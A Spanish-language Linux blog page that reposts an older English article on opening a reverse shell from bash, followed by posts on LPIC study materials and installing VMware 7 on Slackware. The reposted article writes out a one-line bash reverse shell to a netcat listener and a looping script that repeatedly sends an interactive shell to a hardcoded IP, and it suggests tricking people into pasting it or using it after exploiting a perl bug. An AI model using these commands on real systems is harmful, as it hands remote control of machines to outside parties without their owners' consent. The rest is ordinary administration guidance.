jueves, 13 de mayo de 2010

Phoning home from bash

Muy interesante artículo sobre telefonía desde una consola bash.
Revision 0.0, 22 January 2002

Bash can create an outgoing connection to a netcat listener in one line of code. This is a reverse telnet session.
1. Why
There are a couple of possible applications for this technique (if your version of bash supports it):
A dial-up machine can yield control to a central agency when it arrives on the internet. (This is great if you trust your routers...)
Control of a machine behind certain types of firewall (`just copy and paste this to your command line, and I'll sort your problem out')
It's a really fun thing to run instead of idonce you have a non-interactive shell on a machine by using the perl open '|command' bug) (I have code which does this ...)
Nobody seems to have done it before. All the other solutions I have seen utilise two pipes and two instances of telnet or netcat on the server side. Scripting of telnet is prone to error because of delay conditions, and netcat may not be available on the client side (although if it is, netcat -e can get you quite far sometimes).
2. How to
2.1 Client side stuff

On the client side, netcat listens for an incoming call.
netcat -l -p 22222

2.2 Server side stuff

On the server side, an interactive bash session is started, with input, output and error messages redirected to an outgoing TCP connection.
bash -i >& /dev/tcp/101.102.103.104/22222 0>&1

Probably your IP address is not 101.102.103.104 (it's reserved) so you can replace that with your own IP address.

3. Bugs
Job control doesn't work, since there is no terminal.
Ctrl+C doesn't work so well.
It's only one line.
Some distributions compile bash without support for special /dev/tcp handling. Hack into an different distribution if this happens to you.

4. Script
Here's a script which phones us repeatedly - very nice for remote support through a firewall.
#! /bin/bash
IP=196.30.113.3
PORT=65534
WHOAMI="`whoami`@`hostname -f`"
echo "
/////////////////////////////////////////////////
//
// This script is sending a shell as the user
// $WHOAMI to the address
// $IP (port $PORT)
//
/////////////////////////////////////////////////

"
while true; do
echo "`date`: Sending shell to $IP:$PORT"
{
echo "Welcome, $WHOAMI"
bash -i
} <> /dev/tcp/$IP/$PORT 1>&0 2>&1 &
sleep 10
done

Of course, you probably don't want to run this on your server without changing your IP addresses.

5. Licence

How do you licence one line of source code? You would have to be a little silly.

Fuente aquí.

Fuentes LPIC

A quien le interese, aquí dejo un par de excelentes referencias sobre el mundo linux, concretamente son ligas referentes al LPIC.

Como sabrán, los exámenes del LPI (Linux Professional Institute) certifican un mínimo de conocimiento sobre la administración de un sistema operativo Linux, dejando de lado la distribución, es decir, se enfoca en el conocimiento a fondo del sistema y su administración a través de la shell (para los no natos, es una consola de administración tipo MS-DOS, pero posee un lenguaje de programación de scripts propio, el cual ningún sistema Windos posee).

Descargas:

  • Linux 101 Examination, Modular Training Notes. PDF
  • Linux 102 Examination, Modular Training Notes. PDF
  • Linux 101 Examination, Modular Training Notes. OpenOffice Documents here.
  • Linux 102 Examination, Modular Training Notes. OpenOffice Documents here.

La fuente original de las descargas la encuentras aquí.

Como habrás de saber, para aprobar el nivel Junior del LPI, debes aprobar los exámenes LPI 101 y LPI 102.

lunes, 3 de mayo de 2010

Instalando VMWare 7.0.0 en Slackware


Bien, pues para que nadie sufra como yo al instalar vmware en mi slackware por primera vez, aquí posteo como se debe de hacer.

  1. Descargar los paquetes desde la página oficial, te pide registro para darte acceso a los links y para enviarte por correo una clave que funcionará por 30 días.
  2. Una vez descargado el archivo de instalación, copiarlo al directorio /usr/src (esto es para mantener cierto control sobre la paquetería que no tiene formato nativo de slackware)
    cp ~/VMware-Workstation-7.0.0-203739.i386.bundle /usr/src , recuerda que la tilde (~) indica el directorio de usuario donde lo descargaste.
  3. Cambiar al directorio /usr/src y ejecutar como usuario (no como superusuario) el comando kdesu sh VMware-Workstation-7.0.0-203739.i386.bundle
    Te pedirá la contraseña del administrador (en este caso es root)
  4. Se abrirá una ventana que te pregunta si aceptas los términos, hacer click en "I agree" y en "next" tantas veces como te lo pregunte hasta llegar a "Install"
  5. Esperar a que termine el copiado de los archivos, y, si todo ha ido sin problemas llegará al cuadro de diálogo que dice "Installation was successfull".
  6. Ahora, como todos sabemos, Slackware no es como las demás distros, sino que es bastante peculiar, en este caso me referiré a los modos de arranque que son (puedes verificarlo en el archivo /etc/inittab):

          # 0 = halt
    # 1 = single user mode
    # 2 = unused (but configured the same as runlevel 3)
    # 3 = multiuser mode (default Slackware runlevel)
    # 4 = X11 with KDM/GDM/XDM (session managers)
    # 5 = unused (but configured the same as runlevel 3)
    # 6 = reboot

De donde observamos que el runlevel para el arranque gráfico es el 4 y no el 5, como es el caso de las demás distros, por lo tanto si reinicias la máquina nunca arrancará el vmware ya que por default, el instalador coloca los scripts de inicio en la carpeta correspondiente al runlevel 5. Para arreglar ese pequeño problema hará falta copiar los archivos K08vmware y S19vmware ubicados en el directorio /etc/rc.d/rc5.d al directorio /etc/rc.d/rc4.d, entonces introducir el comando
cp /etc/rc.d/rc5.d/* /etc/rc.d/rc4.d

Hasta aquí la entrada sobre cómo instalar vmware en nuestra distro slackware.

Para iniciarlo bastará en una shell teclear vmware &

Dudas por favor postear y responderé...